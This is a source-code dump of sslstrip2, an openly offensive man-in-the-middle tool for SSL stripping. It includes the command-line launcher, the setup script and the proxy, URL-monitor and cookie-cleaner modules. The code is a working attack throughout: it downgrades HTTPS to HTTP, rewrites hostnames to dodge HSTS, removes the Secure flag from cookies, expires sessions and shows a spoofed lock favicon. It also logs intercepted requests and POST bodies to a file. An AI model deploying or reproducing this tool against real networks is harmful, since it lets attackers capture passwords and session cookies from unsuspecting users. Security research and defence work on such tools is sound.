19 | import re 20 | 21 | class URLMonitor: 22 | 23 | ''' 24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 25 | server is expecting over SSL. It also keeps track of secure favicon urls. 26 | ''' 27 | 28 | # Start the arms race, and end up here... 29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 30 | _instance = None 31 | sustitucion = {} # LEO: diccionario host / sustitucion 32 | real = {} # LEO: diccionario host / sustitucion 33 | 34 | def __init__(self): 35 | self.strippedURLs = set() 36 | self.strippedURLPorts = {} 37 | self.faviconReplacement = False 38 | self.sustitucion["mail.google.com"] = "gmail.google.com" 39 | self.real["gmail.google.com"] = "mail.google.com" 40 | 41 | 42 | def isSecureLink(self, client, url): 43 | for expression in URLMonitor.javascriptTrickery: 44 | if (re.match(expression, url)): 45 | return True 46 | 47 | return (client,url) in self.strippedURLs 48 | 49 | def getSecurePort(self, client, url): 50 | if (client,url) in self.strippedURLs: 51 | return self.strippedURLPorts[(client,url)] 52 | else: 53 | return 443 54 | 55 | def addSecureLink(self, client, url): 56 | methodIndex = url.find("//") + 2 57 | method = url[0:methodIndex] 58 | 59 | pathIndex = url.find("/", methodIndex) 60 | host = url[methodIndex:pathIndex] 61 | path = url[pathIndex:] 62 | 63 | port = 443 64 | portIndex = host.find(":") 65 | 66 | if (portIndex != -1): 67 | host = host[0:portIndex] 68 | port = host[portIndex+1:] 69 | if len(port) == 0: 70 | port = 443 71 | 72 | #LEO: Sustituir HOST 73 | 74 | if self.sustitucion.has_key(host.lower()): 75 | host = self.sustitucion[host.lower()] 76 | else: 77 | lhost = host.lower()[:4] 78 | if lhost=="www.": 79 | self.sustitucion[host.lower()] = "w"+host.lower() 80 | self.real["w"+host.lower()] = host.lower() 81 | else: 82 | self.sustitucion[host.lower()] = "web."+host.lower() 83 | self.real["web."+host.lower()] = host.lower() 84 | 85 | url = method + host + path 86 | 87 | self.strippedURLs.add((client, url)) 88 | self.strippedURLPorts[(client, url)] = int(port) 89 | 90 | def setFaviconSpoofing(self, faviconSpoofing): 91 | self.faviconSpoofing = faviconSpoofing 92 | 93 | def isFaviconSpoofing(self): 94 | return self.faviconSpoofing 95 | 96 | def isSecureFavicon(self, client, url): 97 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 98 | 99 | def URLgetRealHost(host): 100 | if self.real.has_key(host): 101 | return self.real[host] 102 | else: 103 | return host 104 | 105 | def getInstance(): 106 | if URLMonitor._instance == None: 107 | URLMonitor._instance = URLMonitor() 108 | 109 | return URLMonitor._instance 110 | 111 | getInstance = staticmethod(getInstance) 112 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/singe/sslstrip2/892b014bd1b62e01f5ea0924839d08a931a6a2b1/build/lib.linux-i686-2.7/sslstrip/__init__.py -------------------------------------------------------------------------------- /build/scripts-2.6/sslstrip: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike && Version b by Leonardo Nve" 6 | __email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9 Adv" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Version Adv by Leonardo Nve" 41 | print "Usage: sslstrip \n" 42 | print "Options:" 43 | print "-w , --write= Specify file to log to (optional)." 44 | print "-p , --post Log only SSL POSTs. (default)" 45 | print "-s , --ssl Log all SSL traffic to and from server." 46 | print "-a , --all Log all SSL and HTTP traffic to and from server." 47 | print "-l , --listen= Port to listen on (default 10000)." 48 | print "-f , --favicon Substitute a lock favicon on secure requests." 49 | print "-k , --killsessions Kill sessions in progress." 50 | print "-h Print this help message." 51 | print "" 52 | 53 | def parseOptions(argv): 54 | logFile = 'sslstrip.log' 55 | logLevel = logging.WARNING 56 | listenPort = 10000 57 | spoofFavicon = False 58 | killSessions = False 59 | 60 | try: 61 | opts, args = getopt.getopt(argv, "hw:l:psafk", 62 | ["help", "write=", "post", "ssl", "all", "listen=", 63 | "favicon", "killsessions"]) 64 | 65 | for opt, arg in opts: 66 | if opt in ("-h", "--help"): 67 | usage() 68 | sys.exit() 69 | elif opt in ("-w", "--write"): 70 | logFile = arg 71 | elif opt in ("-p", "--post"): 72 | logLevel = logging.WARNING 73 | elif opt in ("-s", "--ssl"): 74 | logLevel = logging.INFO 75 | elif opt in ("-a", "--all"): 76 | logLevel = logging.DEBUG 77 | elif opt in ("-l", "--listen"): 78 | listenPort = arg 79 | elif opt in ("-f", "--favicon"): 80 | spoofFavicon = True 81 | elif opt in ("-k", "--killsessions"): 82 | killSessions = True 83 | 84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 85 | 86 | except getopt.GetoptError: 87 | usage() 88 | sys.exit(2) 89 | 90 | def main(argv): 91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 92 | 93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 94 | filename=logFile, filemode='w') 95 | 96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 97 | CookieCleaner.getInstance().setEnabled(killSessions) 98 | 99 | strippingFactory = http.HTTPFactory(timeout=10) 100 | strippingFactory.protocol = StrippingProxy 101 | 102 | reactor.listenTCP(int(listenPort), strippingFactory) 103 | 104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 105 | print "Adv POC by Leonardo Nve" 106 | 107 | reactor.run() 108 | 109 | if __name__ == '__main__': 110 | main(sys.argv[1:]) 111 | -------------------------------------------------------------------------------- /build/scripts-2.7/sslstrip: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9b" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Version b by Leonardo Nve" 41 | print "Usage: sslstrip \n" 42 | print "Options:" 43 | print "-w , --write= Specify file to log to (optional)." 44 | print "-p , --post Log only SSL POSTs. (default)" 45 | print "-s , --ssl Log all SSL traffic to and from server." 46 | print "-a , --all Log all SSL and HTTP traffic to and from server." 47 | print "-l , --listen= Port to listen on (default 10000)." 48 | print "-f , --favicon Substitute a lock favicon on secure requests." 49 | print "-k , --killsessions Kill sessions in progress." 50 | print "-h Print this help message." 51 | print "" 52 | 53 | def parseOptions(argv): 54 | logFile = 'sslstrip.log' 55 | logLevel = logging.WARNING 56 | listenPort = 10000 57 | spoofFavicon = False 58 | killSessions = False 59 | 60 | try: 61 | opts, args = getopt.getopt(argv, "hw:l:psafk", 62 | ["help", "write=", "post", "ssl", "all", "listen=", 63 | "favicon", "killsessions"]) 64 | 65 | for opt, arg in opts: 66 | if opt in ("-h", "--help"): 67 | usage() 68 | sys.exit() 69 | elif opt in ("-w", "--write"): 70 | logFile = arg 71 | elif opt in ("-p", "--post"): 72 | logLevel = logging.WARNING 73 | elif opt in ("-s", "--ssl"): 74 | logLevel = logging.INFO 75 | elif opt in ("-a", "--all"): 76 | logLevel = logging.DEBUG 77 | elif opt in ("-l", "--listen"): 78 | listenPort = arg 79 | elif opt in ("-f", "--favicon"): 80 | spoofFavicon = True 81 | elif opt in ("-k", "--killsessions"): 82 | killSessions = True 83 | 84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 85 | 86 | except getopt.GetoptError: 87 | usage() 88 | sys.exit(2) 89 | 90 | def main(argv): 91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 92 | 93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 94 | filename=logFile, filemode='w') 95 | 96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 97 | CookieCleaner.getInstance().setEnabled(killSessions) 98 | 99 | strippingFactory = http.HTTPFactory(timeout=10) 100 | strippingFactory.protocol = StrippingProxy 101 | 102 | reactor.listenTCP(int(listenPort), strippingFactory) 103 | 104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 105 | 106 | reactor.run() 107 | 108 | if __name__ == '__main__': 109 | main(sys.argv[1:]) 110 | -------------------------------------------------------------------------------- /debug_ssl.log: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/singe/sslstrip2/892b014bd1b62e01f5ea0924839d08a931a6a2b1/lock.ico -------------------------------------------------------------------------------- /poc.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/singe/sslstrip2/892b014bd1b62e01f5ea0924839d08a931a6a2b1/poc.log -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import sys, os, shutil 2 | from distutils.core import setup, Extension 3 | 4 | 5 | shutil.copyfile("sslstrip.py", "sslstrip/sslstrip") 6 | 7 | setup (name = 'sslstrip', 8 | version = '0.9', 9 | description = 'A MITM tool that implements Moxie Marlinspike\'s HTTPS stripping attacks.', 10 | author = 'Moxie Marlinspike', 11 | author_email = 'moxie@thoughtcrime.org', 12 | url = 'http://www.thoughtcrime.org/software/sslstrip/', 13 | license = 'GPL', 14 | packages = ["sslstrip"], 15 | package_dir = {'sslstrip' : 'sslstrip/'}, 16 | scripts = ['sslstrip/sslstrip'], 17 | data_files = [('share/sslstrip', ['README', 'COPYING', 'lock.ico'])], 18 | ) 19 | 20 | print "Cleaning up..." 21 | try: 22 | removeall("build/") 23 | os.rmdir("build/") 24 | except: 25 | pass 26 | 27 | try: 28 | os.remove("sslstrip/sslstrip") 29 | except: 30 | pass 31 | 32 | def capture(cmd): 33 | return os.popen(cmd).read().strip() 34 | 35 | def removeall(path): 36 | if not os.path.isdir(path): 37 | return 38 | 39 | files=os.listdir(path) 40 | 41 | for x in files: 42 | fullpath=os.path.join(path, x) 43 | if os.path.isfile(fullpath): 44 | f=os.remove 45 | rmgeneric(fullpath, f) 46 | elif os.path.isdir(fullpath): 47 | removeall(fullpath) 48 | f=os.rmdir 49 | rmgeneric(fullpath, f) 50 | 51 | def rmgeneric(path, __func__): 52 | try: 53 | __func__(path) 54 | except OSError, (errno, strerror): 55 | pass 56 | -------------------------------------------------------------------------------- /sslstrip.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/singe/sslstrip2/892b014bd1b62e01f5ea0924839d08a931a6a2b1/sslstrip.log -------------------------------------------------------------------------------- /sslstrip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike && Version + by Leonardo Nve" 6 | __email__ = "moxie@thoughtcrime.org && leonardo.nve@gmail.com" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9 +" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Version + by Leonardo Nve" 41 | print "Usage: sslstrip \n" 42 | print "Options:" 43 | print "-w , --write= Specify file to log to (optional)." 44 | print "-p , --post Log only SSL POSTs. (default)" 45 | print "-s , --ssl Log all SSL traffic to and from server." 46 | print "-a , --all Log all SSL and HTTP traffic to and from server." 47 | print "-l , --listen= Port to listen on (default 10000)." 48 | print "-f , --favicon Substitute a lock favicon on secure requests." 49 | print "-k , --killsessions Kill sessions in progress." 50 | print "-h Print this help message." 51 | print "" 52 | 53 | def parseOptions(argv): 54 | logFile = 'sslstrip.log' 55 | logLevel = logging.WARNING 56 | listenPort = 10000 57 | spoofFavicon = False 58 | killSessions = False 59 | 60 | try: 61 | opts, args = getopt.getopt(argv, "hw:l:psafk", 62 | ["help", "write=", "post", "ssl", "all", "listen=", 63 | "favicon", "killsessions"]) 64 | 65 | for opt, arg in opts: 66 | if opt in ("-h", "--help"): 67 | usage() 68 | sys.exit() 69 | elif opt in ("-w", "--write"): 70 | logFile = arg 71 | elif opt in ("-p", "--post"): 72 | logLevel = logging.WARNING 73 | elif opt in ("-s", "--ssl"): 74 | logLevel = logging.INFO 75 | elif opt in ("-a", "--all"): 76 | logLevel = logging.DEBUG 77 | elif opt in ("-l", "--listen"): 78 | listenPort = arg 79 | elif opt in ("-f", "--favicon"): 80 | spoofFavicon = True 81 | elif opt in ("-k", "--killsessions"): 82 | killSessions = True 83 | 84 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 85 | 86 | except getopt.GetoptError: 87 | usage() 88 | sys.exit(2) 89 | 90 | def main(argv): 91 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 92 | 93 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 94 | filename=logFile, filemode='w') 95 | 96 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 97 | CookieCleaner.getInstance().setEnabled(killSessions) 98 | 99 | strippingFactory = http.HTTPFactory(timeout=10) 100 | strippingFactory.protocol = StrippingProxy 101 | 102 | reactor.listenTCP(int(listenPort), strippingFactory) 103 | 104 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 105 | print "+ POC by Leonardo Nve" 106 | 107 | reactor.run() 108 | 109 | if __name__ == '__main__': 110 | main(sys.argv[1:]) 111 | -------------------------------------------------------------------------------- /sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random, re 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | def NUEVO_LOG(str): 38 | return 39 | 40 | class ClientRequest(Request): 41 | 42 | ''' This class represents incoming client requests and is essentially where 43 | the magic begins. Here we remove the client headers we dont like, and then 44 | respond with either favicon spoofing, session denial, or proxy through HTTP 45 | or SSL to the server. 46 | ''' 47 | 48 | def __init__(self, channel, queued, reactor=reactor): 49 | Request.__init__(self, channel, queued) 50 | self.reactor = reactor 51 | self.urlMonitor = URLMonitor.getInstance() 52 | self.cookieCleaner = CookieCleaner.getInstance() 53 | self.dnsCache = DnsCache.getInstance() 54 | # self.uniqueId = random.randint(0, 10000) 55 | 56 | def cleanHeaders(self): 57 | headers = self.getAllHeaders().copy() 58 | if 'accept-encoding' in headers: 59 | del headers['accept-encoding'] 60 | 61 | if 'referer' in headers: 62 | real = self.urlMonitor.real 63 | if len(real)>0: 64 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 65 | headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) 66 | 67 | if 'if-modified-since' in headers: 68 | del headers['if-modified-since'] 69 | 70 | if 'cache-control' in headers: 71 | del headers['cache-control'] 72 | 73 | if 'if-none-match' in headers: 74 | del headers['if-none-match'] 75 | 76 | if 'host' in headers: 77 | host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) 78 | logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) 79 | headers['host'] = host 80 | #headers['securelink'] = '1' 81 | self.setHeader('Host',host) 82 | 83 | return headers 84 | 85 | def getPathFromUri(self): 86 | if (self.uri.find("http://") == 0): 87 | index = self.uri.find('/', 7) 88 | return self.uri[index:] 89 | 90 | return self.uri 91 | 92 | 93 | def getPathToLockIcon(self): 94 | if os.path.exists("lock.ico"): return "lock.ico" 95 | 96 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 97 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 98 | 99 | if os.path.exists(scriptPath): return scriptPath 100 | 101 | logging.warning("Error: Could not find lock.ico") 102 | return "lock.ico" 103 | 104 | def save_req(self,lfile,str): 105 | f = open(lfile,"a") 106 | f.write(str) 107 | f.close() 108 | 109 | def handleHostResolvedSuccess(self, address): 110 | headers = self.cleanHeaders() 111 | # for header in headers: 112 | # logging.debug("HEADER %s = %s",header,headers[header]) 113 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) 114 | lhost = self.getHeader("host").lower() 115 | host = self.urlMonitor.URLgetRealHost("%s"%lhost) 116 | client = self.getClientIP() 117 | path = self.getPathFromUri() 118 | self.content.seek(0,0) 119 | postData = self.content.read() 120 | real = self.urlMonitor.real 121 | patchDict = self.urlMonitor.patchDict 122 | 123 | if len(real)>0: 124 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 125 | path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) 126 | postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) 127 | if len(patchDict)>0: 128 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 129 | postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) 130 | 131 | url = 'http://' + host + path 132 | headers['content-length']="%d"%len(postData) 133 | 134 | self.dnsCache.cacheResolution(host, address) 135 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 136 | logging.debug("Sending expired cookies...") 137 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 138 | host, headers, path)) 139 | elif (self.urlMonitor.isSecureFavicon(client, path)): 140 | logging.debug("Sending spoofed favicon response...") 141 | self.sendSpoofedFaviconResponse() 142 | elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): 143 | if 'securelink' in headers: 144 | del headers['securelink'] 145 | logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) 146 | self.proxyViaSSL(address, self.method, path, postData, headers, 147 | self.urlMonitor.getSecurePort(client, url)) 148 | else: 149 | logging.debug("LEO Sending request via HTTP...") 150 | self.proxyViaHTTP(address, self.method, path, postData, headers) 151 | 152 | def handleHostResolvedError(self, error): 153 | logging.warning("Host resolution error: " + str(error)) 154 | self.finish() 155 | 156 | def resolveHost(self, host): 157 | address = self.dnsCache.getCachedAddress(host) 158 | 159 | if address != None: 160 | logging.debug("Host cached.") 161 | return defer.succeed(address) 162 | else: 163 | logging.debug("Host not cached.") 164 | return reactor.resolve(host) 165 | 166 | def process(self): 167 | host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) 168 | logging.debug("Resolving host: %s" % host) 169 | deferred = self.resolveHost(host) 170 | 171 | deferred.addCallback(self.handleHostResolvedSuccess) 172 | deferred.addErrback(self.handleHostResolvedError) 173 | 174 | def proxyViaHTTP(self, host, method, path, postData, headers): 175 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 176 | self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 177 | connectionFactory.protocol = ServerConnection 178 | self.reactor.connectTCP(host, 80, connectionFactory) 179 | 180 | def proxyViaSSL(self, host, method, path, postData, headers, port): 181 | self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 182 | clientContextFactory = ssl.ClientContextFactory() 183 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 184 | connectionFactory.protocol = SSLServerConnection 185 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 186 | 187 | def sendExpiredCookies(self, host, path, expireHeaders): 188 | self.setResponseCode(302, "Moved") 189 | self.setHeader("Connection", "close") 190 | self.setHeader("Location", "http://" + host + path) 191 | 192 | for header in expireHeaders: 193 | self.setHeader("Set-Cookie", header) 194 | 195 | self.finish() 196 | 197 | def sendSpoofedFaviconResponse(self): 198 | icoFile = open(self.getPathToLockIcon()) 199 | 200 | self.setResponseCode(200, "OK") 201 | self.setHeader("Content-type", "image/x-icon") 202 | self.write(icoFile.read()) 203 | 204 | icoFile.close() 205 | self.finish() 206 | -------------------------------------------------------------------------------- /sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, 